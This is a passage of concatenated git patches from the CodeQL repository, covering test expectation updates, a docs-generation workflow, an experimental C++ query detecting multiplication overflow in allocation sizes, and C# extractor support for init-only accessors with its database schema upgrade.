| 0 | 0 | | System.Span`1 | [DebuggerDisplayAttribute(...)] | 0 | {ToString(),raw} | +| System.Span`1 | [DebuggerTypeProxyAttribute(...)] | 0 | System.SpanDebugView`1 | | System.Span`1 | [DefaultMemberAttribute(...)] | 0 | Item | | System.Span`1 | [NullableAttribute(...)] | 0 | 0 | | System.Span`1 | [NullableContextAttribute(...)] | 0 | 1 | @@ -2183,6 +2352,7 @@ attrArgPositional | System.Text.ValueStringBuilder | [DefaultMemberAttribute(...)] | 0 | Item | | System.Text.ValueStringBuilder | [ObsoleteAttribute(...)] | 0 | Types with embedded references are not supported in this version of your compiler. | | System.Text.ValueStringBuilder | [ObsoleteAttribute(...)] | 1 | True | +| System.ThreadStaticAttribute | [AttributeUsageAttribute(...)] | 0 | 256 | | System.Threading.AbandonedMutexException | [NullableAttribute(...)] | 0 | 0 | | System.Threading.AbandonedMutexException | [NullableContextAttribute(...)] | 0 | 2 | | System.Threading.AbandonedMutexException | [TypeForwardedFromAttribute(...)] | 0 | mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 | @@ -2227,6 +2397,7 @@ attrArgPositional | System.Threading.SemaphoreSlim | [NullableAttribute(...)] | 0 | 0 | | System.Threading.SemaphoreSlim | [NullableContextAttribute(...)] | 0 | 1 | | System.Threading.SpinLock | [DebuggerDisplayAttribute(...)] | 0 | IsHeld = {IsHeld} | +| System.Threading.SpinLock | [DebuggerTypeProxyAttribute(...)] | 0 | System.Threading.SpinLock.SystemThreading_SpinLockDebugView | | System.Threading.SpinWait | [NullableAttribute(...)] | 0 | 0 | | System.Threading.SpinWait | [NullableContextAttribute(...)] | 0 | 1 | | System.Threading.SynchronizationContext | [NullableAttribute(...)] | 0 | 0 | @@ -2237,16 +2408,20 @@ attrArgPositional | System.Threading.SynchronizationLockException | [NullableContextAttribute(...)] | 0 | 2 | | System.Threading.SynchronizationLockException | [TypeForwardedFromAttribute(...)] | 0 | mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 | | System.Threading.Tasks.ConcurrentExclusiveSchedulerPair | [DebuggerDisplayAttribute(...)] | 0 | Concurrent={ConcurrentTaskCountForDebugger}, Exclusive={ExclusiveTaskCountForDebugger}, Mode={ModeForDebugger} | +| System.Threading.Tasks.ConcurrentExclusiveSchedulerPair | [DebuggerTypeProxyAttribute(...)] | 0 | System.Threading.Tasks.ConcurrentExclusiveSchedulerPair.DebugView | | System.Threading.Tasks.ConcurrentExclusiveSchedulerPair | [NullableAttribute(...)] | 0 | 0 | | System.Threading.Tasks.ConcurrentExclusiveSchedulerPair | [NullableContextAttribute(...)] | 0 | 1 | | System.Threading.Tasks.ConcurrentExclusiveSchedulerPair.ConcurrentExclusiveTaskScheduler | [DebuggerDisplayAttribute(...)] | 0 | Count={CountForDebugger}, MaxConcurrencyLevel={m_maxConcurrencyLevel}, Id={Id} | +| System.Threading.Tasks.ConcurrentExclusiveSchedulerPair.ConcurrentExclusiveTaskScheduler | [DebuggerTypeProxyAttribute(...)] | 0 | System.Threading.Tasks.ConcurrentExclusiveSchedulerPair.ConcurrentExclusiveTaskScheduler.DebugView | | System.Threading.Tasks.MultiProducerMultiConsumerQueue`1 | [DebuggerDisplayAttribute(...)] | 0 | Count = {Count} | | System.Threading.Tasks.SingleProducerSingleConsumerQueue`1 | [DebuggerDisplayAttribute(...)] | 0 | Count = {Count} | +| System.Threading.Tasks.SingleProducerSingleConsumerQueue`1 | [DebuggerTypeProxyAttribute(...)] | 0 | System.Threading.Tasks.SingleProducerSingleConsumerQueue`1.SingleProducerSingleConsumerQueue_DebugView | | System.Threading.Tasks.Sources.IValueTaskSource | [NullableContextAttribute(...)] | 0 | 2 | | System.Threading.Tasks.Sources.IValueTaskSource`1 | [NullableContextAttribute(...)] | 0 | 2 | | System.Threading.Tasks.Sources.ManualResetValueTaskSourceCore`1 | [NullableAttribute(...)] | 0 | 0 | | System.Threading.Tasks.Sources.ManualResetValueTaskSourceCore`1 | [NullableContextAttribute(...)] | 0 | 1 | | System.Threading.Tasks.Task | [DebuggerDisplayAttribute(...)] | 0 | Id = {Id}, Status = {Status}, Method = {DebuggerDisplayMethodDescription} | +| System.Threading.Tasks.Task | [DebuggerTypeProxyAttribute(...)] | 0 | System.Threading.Tasks.SystemThreadingTasks_TaskDebugView | | System.Threading.Tasks.Task | [NullableAttribute(...)] | 0 | 0 | | System.Threading.Tasks.Task | [NullableContextAttribute(...)] | 0 | 1 | | System.Threading.Tasks.Task System.Threading.Tasks.Task.InternalCurrent | [NullableAttribute(...)] | 0 | 2 | @@ -2265,6 +2440,7 @@ attrArgPositional | System.Threading.Tasks.TaskFactory`1 | [NullableAttribute(...)] | 0 | 0 | | System.Threading.Tasks.TaskFactory`1 | [NullableContextAttribute(...)] | 0 | 1 | | System.Threading.Tasks.TaskScheduler | [DebuggerDisplayAttribute(...)] | 0 | Id={Id} | +| System.Threading.Tasks.TaskScheduler | [DebuggerTypeProxyAttribute(...)] | 0 | System.Threading.Tasks.TaskScheduler.SystemThreadingTasks_TaskSchedulerDebugView | | System.Threading.Tasks.TaskScheduler | [NullableAttribute(...)] | 0 | 0 | | System.Threading.Tasks.TaskScheduler | [NullableContextAttribute(...)] | 0 | 1 | | System.Threading.Tasks.TaskScheduler System.Threading.Tasks.Task.ExecutingTaskScheduler | [NullableAttribute(...)] | 0 | 2 | @@ -2276,13 +2452,16 @@ attrArgPositional | System.Threading.Tasks.TaskSchedulerException | [NullableContextAttribute(...)] | 0 | 2 | | System.Threading.Tasks.TaskSchedulerException | [TypeForwardedFromAttribute(...)] | 0 | mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 | | System.Threading.Tasks.Task`1 | [DebuggerDisplayAttribute(...)] | 0 | Id = {Id}, Status = {Status}, Method = {DebuggerDisplayMethodDescription}, Result = {DebuggerDisplayResultDescription} | +| System.Threading.Tasks.Task`1 | [DebuggerTypeProxyAttribute(...)] | 0 | System.Threading.Tasks.SystemThreadingTasks_FutureDebugView`1 | | System.Threading.Tasks.Task`1 | [NullableAttribute(...)] | 0 | 0 | | System.Threading.Tasks.Task`1 | [NullableContextAttribute(...)] | 0 | 1 | | System.Threading.Tasks.UnobservedTaskExceptionEventArgs | [NullableAttribute(...)] | 0 | 0 | | System.Threading.Tasks.UnobservedTaskExceptionEventArgs | [NullableContextAttribute(...)] | 0 | 2 | +| System.Threading.Tasks.ValueTask | [AsyncMethodBuilderAttribute(...)] | 0 | System.Runtime.CompilerServices.AsyncValueTaskMethodBuilder | | System.Threading.Tasks.ValueTask | [NullableAttribute(...)] | 0 | 0 | | System.Threading.Tasks.ValueTask | [NullableContextAttribute(...)] | 0 | 1 | | System.Threading.Tasks.ValueTask<!0> System.Runtime.CompilerServices.AsyncValueTaskMethodBuilder`1.Task | [NullableAttribute(...)] | 0 | [0,1] | +| System.Threading.Tasks.ValueTask`1 | [AsyncMethodBuilderAttribute(...)] | 0 | System.Runtime.CompilerServices.AsyncValueTaskMethodBuilder`1 | | System.Threading.Tasks.ValueTask`1 | [NullableAttribute(...)] | 0 | 0 | | System.Threading.Tasks.ValueTask`1 | [NullableContextAttribute(...)] | 0 | 1 | | System.Threading.Thread | [NullableAttribute(...)] | 0 | 0 | @@ -2295,6 +2474,7 @@ attrArgPositional | System.Threading.ThreadInterruptedException | [TypeForwardedFromAttribute(...)] | 0 | mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 | | System.Threading.ThreadLocal<System.Object> System.LocalDataStoreSlot.Data | [NullableAttribute(...)] | 0 | [1,2] | | System.Threading.ThreadLocal`1 | [DebuggerDisplayAttribute(...)] | 0 | IsValueCreated={IsValueCreated}, Value={ValueForDebugDisplay}, Count={ValuesCountForDebugDisplay} | +| System.Threading.ThreadLocal`1 | [DebuggerTypeProxyAttribute(...)] | 0 | System.Threading.SystemThreading_ThreadLocalDebugView`1 | | System.Threading.ThreadLocal`1 | [NullableAttribute(...)] | 0 | 0 | | System.Threading.ThreadLocal`1 | [NullableContextAttribute(...)] | 0 | 1 | | System.Threading.ThreadPool | [NullableAttribute(...)] | 0 | 0 | @@ -2447,6 +2627,7 @@ attrArgPositional | System.WeakReference`1 | [NullableAttribute(...)] | 0 | 0 | | System.WeakReference`1 | [NullableContextAttribute(...)] | 0 | 1 | | System.WeakReference`1 | [TypeForwardedFromAttribute(...)] | 0 | mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 | +| System.__Canon | [ClassInterfaceAttribute(...)] | 0 | 0 | | System.__Canon | [ComVisibleAttribute(...)] | 0 | True | | System.__DTString | [ObsoleteAttribute(...)] | 0 | Types with embedded references are not supported in this version of your compiler. | | System.__DTString | [ObsoleteAttribute(...)] | 1 | True | @@ -2490,6 +2671,7 @@ attrArgPositional | int System.Threading.Overlapped.EventHandle | [ObsoleteAttribute(...)] | 0 | This property is not 64-bit compatible. Use EventHandleIntPtr instead. http://go.microsoft.com/fwlink/?linkid=14202 | | int[] System.Globalization.StringInfo.Indexes | [NullableAttribute(...)] | 0 | 2 | | long | [TypeForwardedFromAttribute(...)] | 0 | mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 | +| object | [ClassInterfaceAttribute(...)] | 0 | 1 | | object | [ComVisibleAttribute(...)] | 0 | True | | object | [NullableContextAttribute(...)] | 0 | 2 | | object | [TypeForwardedFromAttribute(...)] | 0 | mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 | @@ -2543,6 +2725,7 @@ attrArgPositional | object System.ValueTuple`6.Item | [NullableAttribute(...)] | 0 | 2 | | object System.ValueTuple`7.Item | [NullableAttribute(...)] | 0 | 2 | | object System.ValueTuple`8.Item | [NullableAttribute(...)] | 0 | 2 | +| object[] System.Collections.ArrayList.ArrayListDebugView.Items | [DebuggerBrowsableAttribute(...)] | 0 | 3 | | sbyte | [CLSCompliantAttribute(...)] | 0 | False | | sbyte | [TypeForwardedFromAttribute(...)] | 0 | mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 | | short | [TypeForwardedFromAttribute(...)] | 0 | mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 | From 66c756b7f547cfb23b47864e16d6879bcc4448fb Mon Sep 17 00:00:00 2001 From: James Fletcher <42464962+jf205@users.noreply.github.com> Date: Thu, 10 Dec 2020 09:07:30 +0000 Subject: [PATCH 0227/1241] Update generate-query-help-docs.yml --- .github/workflows/generate-query-help-docs.yml | 7 +++++-- 1 file changed, 5 insertions(+), 2 deletions(-) diff --git a/.github/workflows/generate-query-help-docs.yml b/.github/workflows/generate-query-help-docs.yml index 74cb4c6a9e6..9fabfc41a3d 100644 --- a/.github/workflows/generate-query-help-docs.yml +++ b/.github/workflows/generate-query-help-docs.yml @@ -1,10 +1,13 @@ name: Generate CodeQL query help documentation using Sphinx on: + workflow_dispatch: + inputs: + description: + description: A description of the purpose of this job. For human consumption. + required: false push: branches: - - main - - 'rc/**' - 'lgtm.com' pull_request: paths: From 0640d2834df11980f7d348d70c3ff95b621ff629 Mon Sep 17 00:00:00 2001 From: James Fletcher <42464962+jf205@users.noreply.github.com> Date: Thu, 10 Dec 2020 09:19:44 +0000 Subject: [PATCH 0228/1241] Update generate-query-help-docs.yml --- .github/workflows/generate-query-help-docs.yml | 13 +++++++++---- 1 file changed, 9 insertions(+), 4 deletions(-) diff --git a/.github/workflows/generate-query-help-docs.yml b/.github/workflows/generate-query-help-docs.yml index 9fabfc41a3d..2316336369c 100644 --- a/.github/workflows/generate-query-help-docs.yml +++ b/.github/workflows/generate-query-help-docs.yml @@ -3,9 +3,13 @@ name: Generate CodeQL query help documentation using Sphinx on: workflow_dispatch: inputs: - description: - description: A description of the purpose of this job. For human consumption. - required: false + description: + description: A description of the purpose of this job. For human consumption. + required: false + ref: + description: The branch in github/codeql to checkout when generating query help. + required: false + default: 'lgtm.com' push: branches: - 'lgtm.com' @@ -21,7 +25,8 @@ jobs: - name: Clone github/codeql uses: actions/checkout@v2 with: - path: codeql + path: codeql + ref: '{{ github.event.inputs.ref }}' - name: Clone github/codeql-go uses: actions/checkout@v2 with: From 9c6962ec25bc096b3f457729722b115a010735d3 Mon Sep 17 00:00:00 2001 From: James Fletcher <42464962+jf205@users.noreply.github.com> Date: Thu, 10 Dec 2020 09:39:44 +0000 Subject: [PATCH 0229/1241] Update generate-query-help-docs.yml --- .github/workflows/generate-query-help-docs.yml | 10 ++++++++-- 1 file changed, 8 insertions(+), 2 deletions(-) diff --git a/.github/workflows/generate-query-help-docs.yml b/.github/workflows/generate-query-help-docs.yml index 2316336369c..962497eab68 100644 --- a/.github/workflows/generate-query-help-docs.yml +++ b/.github/workflows/generate-query-help-docs.yml @@ -22,11 +22,17 @@ jobs: build: runs-on: ubuntu-latest steps: - - name: Clone github/codeql + - if: github.event.inputs.ref + name: Clone github/codeql (user defined ref) + uses: actions/checkout@v2 + with: + path: codeql + ref: ${{ github.event.inputs.ref }} + - if: github.event.inputs.ref == '' + name: Clone github/codeql (default ref) uses: actions/checkout@v2 with: path: codeql - ref: '{{ github.event.inputs.ref }}' - name: Clone github/codeql-go uses: actions/checkout@v2 with: From c5592a1ed74a8d1932bbc0b799ff3a22694b31ef Mon Sep 17 00:00:00 2001 From: Geoffrey White <40627776+geoffw0@users.noreply.github.com> Date: Thu, 10 Dec 2020 16:20:54 +0000 Subject: [PATCH 0230/1241] C++: New experimental query. --- .../CWE-190/AllocMultiplicationOverflow.ql | 42 +++++++++++++++++++ 1 file changed, 42 insertions(+) create mode 100644 cpp/ql/src/experimental/Security/CWE/CWE-190/AllocMultiplicationOverflow.ql diff --git a/cpp/ql/src/experimental/Security/CWE/CWE-190/AllocMultiplicationOverflow.ql b/cpp/ql/src/experimental/Security/CWE/CWE-190/AllocMultiplicationOverflow.ql new file mode 100644 index 00000000000..066323d1bd8 --- /dev/null +++ b/cpp/ql/src/experimental/Security/CWE/CWE-190/AllocMultiplicationOverflow.ql @@ -0,0 +1,42 @@ +/** + * @name Multiplication result may overflow and be used in allocation + * @description TODO + * @kind path-problem + * @problem.severity TODO + * @precision TODO + * @tags security + * correctness + * external/cwe/cwe-190 + * external/cwe/cwe-128 + * @id cpp/multiplication-overflow-in-alloc + */ + +import cpp +import semmle.code.cpp.models.interfaces.Allocation +import semmle.code.cpp.dataflow.DataFlow +import DataFlow::PathGraph + +class MultToAllocConfig extends DataFlow::Configuration { + MultToAllocConfig() { this = "MultToAllocConfig" } + + override predicate isSource(DataFlow::Node node) { + // a multiplication of two non-constant expressions + exists(MulExpr me | + me = node.asExpr() and + forall(Expr e | e = me.getAnOperand() | not exists(e.getValue())) + ) + } + + override predicate isSink(DataFlow::Node node) { + // something that affects an allocation size + node.asExpr() = any(AllocationExpr ae).getSizeExpr().getAChild*() + } +} + +string describe(DataFlow::PathNode n) { + result = n.getNode().asExpr().getEnclosingFunction().getName() +} + +from MultToAllocConfig config, DataFlow::PathNode source, DataFlow::PathNode sink +where config.hasFlowPath(source, sink) +select sink, source, sink, "$@ in " + concat(describe(source), ", "), source, "here" From b79ca4535abd3b1c069ef6c45639a8255c7dda3f Mon Sep 17 00:00:00 2001 From: Geoffrey White <40627776+geoffw0@users.noreply.github.com> Date: Thu, 10 Dec 2020 17:15:02 +0000 Subject: [PATCH 0231/1241] C++: Undo the iterator.qll change. Notice that it was 'and' not 'or'. --- .../semmle/code/cpp/models/implementations/Iterator.qll | 8 +++++--- 1 file changed, 5 insertions(+), 3 deletions(-) diff --git a/cpp/ql/src/semmle/code/cpp/models/implementations/Iterator.qll b/cpp/ql/src/semmle/code/cpp/models/implementations/Iterator.qll index 0baa27d8ab3..3a789a6aa25 100644 --- a/cpp/ql/src/semmle/code/cpp/models/implementations/Iterator.qll +++ b/cpp/ql/src/semmle/code/cpp/models/implementations/Iterator.qll @@ -31,9 +31,11 @@ private class IteratorTraits extends Class { */ private class IteratorByTypedefs extends Iterator, Class { IteratorByTypedefs() { - this.getAMember() - .(TypedefType) - .hasName(["difference_type", "value_type", "pointer", "reference", "iterator_category"]) and + this.getAMember().(TypedefType).hasName("difference_type") and + this.getAMember().(TypedefType).hasName("value_type") and + this.getAMember().(TypedefType).hasName("pointer") and + this.getAMember().(TypedefType).hasName("reference") and + this.getAMember().(TypedefType).hasName("iterator_category") and not this.hasQualifiedName("std", "iterator_traits") } } From 431894100981dffe685428709e84faf32baf4508 Mon Sep 17 00:00:00 2001 From: Tamas Vajk <tamasvajk@github.com> Date: Fri, 6 Nov 2020 14:18:36 +0100 Subject: [PATCH 0232/1241] C#: Add support for init only accessors --- .../Entities/Accessor.cs | 5 ++ .../Semmle.Extraction.CSharp/Tuples.cs | 5 ++ csharp/ql/src/semmle/code/csharp/Property.qll | 3 + csharp/ql/src/semmlecode.csharp.dbscheme | 3 + .../library-tests/csharp9/InitOnlyProperty.cs | 44 ++++++++++ .../library-tests/csharp9/PrintAst.expected | 82 +++++++++++++++++++ .../csharp9/initOnlyProperty.expected | 5 ++ .../library-tests/csharp9/initOnlyProperty.ql | 7 ++ csharp/upgrades/TO_CHANGE/upgrade.properties | 2 + 9 files changed, 156 insertions(+) create mode 100644 csharp/ql/test/library-tests/csharp9/InitOnlyProperty.cs create mode 100644 csharp/ql/test/library-tests/csharp9/initOnlyProperty.expected create mode 100644 csharp/ql/test/library-tests/csharp9/initOnlyProperty.ql create mode 100644 csharp/upgrades/TO_CHANGE/upgrade.properties diff --git a/csharp/extractor/Semmle.Extraction.CSharp/Entities/Accessor.cs b/csharp/extractor/Semmle.Extraction.CSharp/Entities/Accessor.cs index c53a2c402e0..08782ec36a7 100644 --- a/csharp/extractor/Semmle.Extraction.CSharp/Entities/Accessor.cs +++ b/csharp/extractor/Semmle.Extraction.CSharp/Entities/Accessor.cs @@ -76,6 +76,11 @@ namespace Semmle.Extraction.CSharp.Entities { trapFile.compiler_generated(this); } + + if (symbol.IsInitOnly) + { + trapFile.init_only_accessors(this); + } } public static new Accessor Create(Context cx, IMethodSymbol symbol) => diff --git a/csharp/extractor/Semmle.Extraction.CSharp/Tuples.cs b/csharp/extractor/Semmle.Extraction.CSharp/Tuples.cs index 4123cc1808d..b3eb2da999a 100644 --- a/csharp/extractor/Semmle.Extraction.CSharp/Tuples.cs +++ b/csharp/extractor/Semmle.Extraction.CSharp/Tuples.cs @@ -26,6 +26,11 @@ namespace Semmle.Extraction.CSharp trapFile.WriteTuple("accessors", accessorKey, kind, name, propKey, unboundAccessor); } + internal static void init_only_accessors(this TextWriter trapFile, Accessor accessorKey) + { + trapFile.WriteTuple("init_only_accessors", accessorKey); + } + internal static void array_element_type(this TextWriter trapFile, ArrayType array, int dimension, int rank, Type elementType) { trapFile.WriteTuple("array_element_type", array, dimension, rank, elementType); diff --git a/csharp/ql/src/semmle/code/csharp/Property.qll b/csharp/ql/src/semmle/code/csharp/Property.qll index 3607f1fa06e..acfea725b88 100644 --- a/csharp/ql/src/semmle/code/csharp/Property.qll +++ b/csharp/ql/src/semmle/code/csharp/Property.qll @@ -472,6 +472,9 @@ class Setter extends Accessor, @setter { result = Accessor.super.getDeclaration() } + /** Holds if this setter is an `init`-only accessor. */ + predicate isInitOnly() { init_only_accessors(this) } + override string getAPrimaryQlClass() { result = "Setter" } } diff --git a/csharp/ql/src/semmlecode.csharp.dbscheme b/csharp/ql/src/semmlecode.csharp.dbscheme index cfaa4e90da2..b93e202508f 100644 --- a/csharp/ql/src/semmlecode.csharp.dbscheme +++ b/csharp/ql/src/semmlecode.csharp.dbscheme @@ -604,6 +604,9 @@ case @accessor.kind of | 2 = @setter ; +init_only_accessors( + unique int id: @accessor ref); + accessor_location( int id: @accessor ref, int loc: @location ref); diff --git a/csharp/ql/test/library-tests/csharp9/InitOnlyProperty.cs b/csharp/ql/test/library-tests/csharp9/InitOnlyProperty.cs new file mode 100644 index 00000000000..bb78e0790af --- /dev/null +++ b/csharp/ql/test/library-tests/csharp9/InitOnlyProperty.cs @@ -0,0 +1,44 @@ +using System; + +namespace System.Runtime.CompilerServices +{ + public sealed class IsExternalInit + { + } +} + +public class Base +{ + public int Prop0 { get { return 1; } init { Prop1 = value; } } + public virtual int Prop1 { get; init; } + public virtual int Prop2 { get; set; } + +} + +public class Derived : Base +{ + public override int Prop1 { get; init; } + public int Prop2 + { + get { return 0; } + init + { + System.Console.WriteLine(value); + Prop1 = value; + Prop0 = value; + } + } +} + +public class C1 +{ + public void M1() + { + var d = new Derived + { + Prop1 = 1, + Prop2 = 2, + Prop0 = 0 + }; + } +} \ No newline at end of file diff --git a/csharp/ql/test/library-tests/csharp9/PrintAst.expected b/csharp/ql/test/library-tests/csharp9/PrintAst.expected index 42a0fad8d14..b99aeb89bc2 100644 --- a/csharp/ql/test/library-tests/csharp9/PrintAst.expected +++ b/csharp/ql/test/library-tests/csharp9/PrintAst.expected @@ -47,6 +47,88 @@ Discard.cs: # 10| 4: [BlockStmt] {...} # 10| 0: [ReturnStmt] return ...; # 10| 0: [IntLiteral] 0 +InitOnlyProperty.cs: +# 3| [NamespaceDeclaration] namespace ... { ... } +# 5| 1: [Class] IsExternalInit +# 10| [Class] Base +# 12| 5: [Property] Prop0 +# 12| -1: [TypeMention] int +# 12| 3: [Getter] get_Prop0 +# 12| 4: [BlockStmt] {...} +# 12| 0: [ReturnStmt] return ...; +# 12| 0: [IntLiteral] 1 +# 12| 4: [Setter] set_Prop0 +#-----| 2: (Parameters) +# 12| 0: [Parameter] value +# 12| 4: [BlockStmt] {...} +# 12| 0: [ExprStmt] ...; +# 12| 0: [AssignExpr] ... = ... +# 12| 0: [PropertyCall] access to property Prop1 +# 12| 1: [ParameterAccess] access to parameter value +# 13| 6: [Property] Prop1 +# 13| -1: [TypeMention] int +# 13| 3: [Getter] get_Prop1 +# 13| 4: [Setter] set_Prop1 +#-----| 2: (Parameters) +# 13| 0: [Parameter] value +# 14| 7: [Property] Prop2 +# 14| -1: [TypeMention] int +# 14| 3: [Getter] get_Prop2 +# 14| 4: [Setter] set_Prop2 +#-----| 2: (Parameters) +# 14| 0: [Parameter] value +# 18| [Class] Derived +#-----| 3: (Base types) +# 18| 0: [TypeMention] Base +# 20| 5: [Property] Prop1 +# 20| -1: [TypeMention] int +# 20| 3: [Getter] get_Prop1 +# 20| 4: [Setter] set_Prop1 +#-----| 2: (Parameters) +# 20| 0: [Parameter] value +# 21| 6: [Property] Prop2 +# 21| -1: [TypeMention] int +# 23| 3: [Getter] get_Prop2 +# 23| 4: [BlockStmt] {...} +# 23| 0: [ReturnStmt] return ...; +# 23| 0: [IntLiteral] 0 +# 24| 4: [Setter] set_Prop2 +#-----| 2: (Parameters) +# 24| 0: [Parameter] value +# 25| 4: [BlockStmt] {...} +# 26| 0: [ExprStmt] ...; +# 26| 0: [MethodCall] call to method WriteLine +# 26| -1: [TypeAccess] access to type Console +# 26| 0: [TypeMention] Console +# 26| 0: [ParameterAccess] access to parameter value +# 27| 1: [ExprStmt] ...; +# 27| 0: [AssignExpr] ... = ... +# 27| 0: [PropertyCall] access to property Prop1 +# 27| 1: [ParameterAccess] access to parameter value +# 28| 2: [ExprStmt] ...; +# 28| 0: [AssignExpr] ... = ... +# 28| 0: [PropertyCall] access to property Prop0 +# 28| 1: [ParameterAccess] access to parameter value +# 33| [Class] C1 +# 35| 5: [Method] M1 +# 35| -1: [TypeMention] Void +# 36| 4: [BlockStmt] {...} +# 37| 0: [LocalVariableDeclStmt] ... ...; +# 37| 0: [LocalVariableDeclAndInitExpr] Derived d = ... +# 37| -1: [TypeMention] Derived +# 37| 0: [LocalVariableAccess] access to local variable d +# 37| 1: [ObjectCreation] object creation of type Derived +# 37| -2: [TypeMention] Derived +# 38| -1: [ObjectInitializer] { ..., ... } +# 39| 0: [MemberInitializer] ... = ... +# 39| 0: [PropertyCall] access to property Prop1 +# 39| 1: [IntLiteral] 1 +# 40| 1: [MemberInitializer] ... = ... +# 40| 0: [PropertyCall] access to property Prop2 +# 40| 1: [IntLiteral] 2 +# 41| 2: [MemberInitializer] ... = ... +# 41| 0: [PropertyCall] access to property Prop0 +# 41| 1: [IntLiteral] 0 LambdaModifier.cs: # 4| [Class] Class1 # 6| 5: [Method] M1 diff --git a/csharp/ql/test/library-tests/csharp9/initOnlyProperty.expected b/csharp/ql/test/library-tests/csharp9/initOnlyProperty.expected new file mode 100644 index 00000000000..41c2113b3a1 --- /dev/null +++ b/csharp/ql/test/library-tests/csharp9/initOnlyProperty.expected @@ -0,0 +1,5 @@ +| InitOnlyProperty.cs:12:42:12:45 | set_Prop0 | init | +| InitOnlyProperty.cs:13:37:13:40 | set_Prop1 | init | +| InitOnlyProperty.cs:14:37:14:39 | set_Prop2 | set | +| InitOnlyProperty.cs:20:38:20:41 | set_Prop1 | init | +| InitOnlyProperty.cs:24:9:24:12 | set_Prop2 | init | diff --git a/csharp/ql/test/library-tests/csharp9/initOnlyProperty.ql b/csharp/ql/test/library-tests/csharp9/initOnlyProperty.ql new file mode 100644 index 00000000000..ad9a797d9be --- /dev/null +++ b/csharp/ql/test/library-tests/csharp9/initOnlyProperty.ql @@ -0,0 +1,7 @@ +import csharp + +private string getType(Setter s) { if s.isInitOnly() then result = "init" else result = "set" } + +from Setter s +where s.fromSource() +select s, getType(s) diff --git a/csharp/upgrades/TO_CHANGE/upgrade.properties b/csharp/upgrades/TO_CHANGE/upgrade.properties new file mode 100644 index 00000000000..6de36036f5a --- /dev/null +++ b/csharp/upgrades/TO_CHANGE/upgrade.properties @@ -0,0 +1,2 @@ +description: Added 'init_only_accessors' relation. +compatibility: backwards From 1b50c2277f67ba42446138bb768a1b49443dec43 Mon Sep 17 00:00:00 2001 From: Tamas Vajk <tamasvajk@github.com> Date: Fri, 11 Dec 2020 11:24:53 +0100 Subject: [PATCH 0233/1241] Add DB upgrade folder --- .../old.dbscheme | 1891 ++++++++++++++++ .../semmlecode.csharp.dbscheme | 1894 +++++++++++++++++ .../upgrade.properties | 0 3 files changed, 3785 insertions(+) create mode 100644 csharp/upgrades/cfaa4e90da23a5ca3f0e914fbd5ca689ba0282d9/old.dbscheme create mode 100644 csharp/upgrades/cfaa4e90da23a5ca3f0e914fbd5ca689ba0282d9/semmlecode.csharp.dbscheme rename csharp/upgrades/{TO_CHANGE => cfaa4e90da23a5ca3f0e914fbd5ca689ba0282d9}/upgrade.properties (100%) diff --git a/csharp/upgrades/cfaa4e90da23a5ca3f0e914fbd5ca689ba0282d9/old.dbscheme b/csharp/upgrades/cfaa4e90da23a5ca3f0e914fbd5ca689ba0282d9/old.dbscheme new file mode 100644 index 00000000000..cfaa4e90da2 --- /dev/null +++ b/csharp/upgrades/cfaa4e90da23a5ca3f0e914fbd5ca689ba0282d9/old.dbscheme @@ -0,0 +1,1891 @@ + +/** + * An invocation of the compiler. Note that more than one file may be + * compiled per invocation. For example, this command compiles three + * source files: + * + * csc f1.cs f2.cs f3.cs + * + * The `id` simply identifies the invocation, while `cwd` is the working + * directory from which the compiler was invoked. + */ +compilations( + unique int id : @compilation, + string cwd : string ref +); + +/** + * The arguments that were passed to the extractor for a compiler + * invocation. If `id` is for the compiler invocation + * + * csc f1.cs f2.cs f3.cs + * + * then typically there will be rows for + * + * num | arg + * --- | --- + * 0 | --compiler + * 1 | *path to compiler* + * 2 | --cil + * 3 | f1.cs + * 4 | f2.cs + * 5 | f3.cs + */ +#keyset[id, num] +compilation_args( + int id : @compilation ref, + int num : int ref, + string arg : string ref +); + +/** + * The source files that are compiled by a compiler invocation. + * If `id` is for the compiler invocation + * + * csc f1.cs f2.cs f3.cs + * + * then there will be rows for + * + * num | arg + * --- | --- + * 0 | f1.cs + * 1 | f2.cs + * 2 | f3.cs + */ +#keyset[id, num] +compilation_compiling_files( + int id : @compilation ref, + int num : int ref, + int file : @file ref +); + +/** + * The references used by a compiler invocation. + * If `id` is for the compiler invocation + * + * csc f1.cs f2.cs f3.cs /r:ref1.dll /r:ref2.dll /r:ref3.dll + * + * then there will be rows for + * + * num | arg + * --- | --- + * 0 | ref1.dll + * 1 | ref2.dll + * 2 | ref3.dll + */ +#keyset[id, num] +compilation_referencing_files( + int id : @compilation ref, + int num : int ref, + int file : @file ref +); + +/** + * The time taken by the extractor for a compiler invocation. + * + * For each file `num`, there will be rows for + * + * kind | seconds + * ---- | --- + * 1 | CPU seconds used by the extractor frontend + * 2 | Elapsed seconds during the extractor frontend + * 3 | CPU seconds used by the extractor backend + * 4 | Elapsed seconds during the extractor backend + */ +#keyset[id, num, kind] +compilation_time( + int id : @compilation ref, + int num : int ref, + /* kind: + 1 = frontend_cpu_seconds + 2 = frontend_elapsed_seconds + 3 = extractor_cpu_seconds + 4 = extractor_elapsed_seconds + */ + int kind : int ref, + float seconds : float ref +); + +/** + * An error or warning generated by the extractor. + * The diagnostic message `diagnostic` was generated during compiler + * invocation `compilation`, and is the `file_number_diagnostic_number`th + * message generated while extracting the `file_number`th file of that + * invocation. + */ +#keyset[compilation, file_number, file_number_diagnostic_number] +diagnostic_for( + unique int diagnostic : @diagnostic ref, + int compilation : @compilation ref, + int file_number : int ref, + int file_number_diagnostic_number : int ref +); + +diagnostics( + unique int id: @diagnostic, + int severity: int ref, + string error_tag: string ref, + string error_message: string ref, + string full_error_message: string ref, + int location: @location_default ref +); + +extractor_messages( + unique int id: @extractor_message, + int severity: int ref, + string origin : string ref, + string text : string ref, + string entity : string ref, + int location: @location_default ref, + string stack_trace : string ref +); + +/** + * If extraction was successful, then `cpu_seconds` and + * `elapsed_seconds` are the CPU time and elapsed time (respectively) + * that extraction took for compiler invocation `id`. + */ +compilation_finished( + unique int id : @compilation 